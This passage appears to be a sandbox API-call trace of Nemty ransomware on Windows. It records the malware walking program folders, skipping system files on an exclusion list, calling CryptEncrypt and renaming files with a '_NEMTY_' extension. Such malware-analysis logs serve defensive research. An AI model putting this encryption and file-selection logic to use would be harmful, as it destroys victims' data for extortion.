dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0072.916] CloseHandle (hObject=0xffffffff) returned 0 [0072.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0072.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0072.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0072.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0072.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63401b8 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.916] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv._nemty_kgobjgd_")) returned 0 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0072.916] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0072.916] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2=".") returned 1 [0072.916] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="..") returned 1 [0072.916] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="...") returned 1 [0072.916] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="windows") returned -1 [0072.916] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0072.916] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="rsa") returned 1 [0072.916] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0072.916] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="ntldr") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="IO.SYS") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="boot.ini") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="boot.ini") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="ntuser.dat") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="desktop.ini") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="RECYCLER") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="bootmgr") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="programdata") returned 1 [0072.917] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="appdata") returned 1 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0072.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scene_loop_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0072.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0072.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scene_loop_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0072.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0072.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0072.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scene_loop_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0072.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0072.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scene_loop_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0072.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0072.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0072.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0072.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0072.918] Sleep (dwMilliseconds=0x5) [0072.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf1d80d0, dwHighDateTime=0x1d561e7)) [0072.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf1d80d0, dwHighDateTime=0x1d561e7)) [0072.928] GetLastError () returned 0x5 [0072.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.928] GetLastError () returned 0x5 [0072.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0072.928] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0072.928] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0072.928] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0072.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0072.928] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="0AYoTrz7BAs+W/zrAcbqiC6zpgLBGgRedR/g9K3ioFAmfh+531EgM91TlYkRvswz\r\nFLKD1tqPfF+NJu4lpO3STMqIBDPr/eSNTLRvVb/ifjd6vfJlHzxyI2yUK0pxckLK\r\nSOh3GqsNt/bDAzE0LHIScZileMs3Y1P6h+r6LUmPqu2YFHs4J4m3qEt6u6+Klkqp\r\nwQvOP/CoIFs3LyB/kRQT+0ArCsN67YKVbfDSJLjADV9RJoQKyYMPIEFtzrF5wPXb\r\nCTdRvcILiIDo1KP+ZW74wrwmbwTkj/JieqHze7RXpgHfy+WNk4s6g21iubVftT9s\r\nLWmpa3B81OX0yPyX/ee7ng==\r\n", pcchString=0x653e91c) returned 1 [0072.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0072.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0072.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0072.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0072.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0072.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0072.928] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.929] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0072.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0072.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.000] SetFilePointer (in: hFile=0xffffffff, 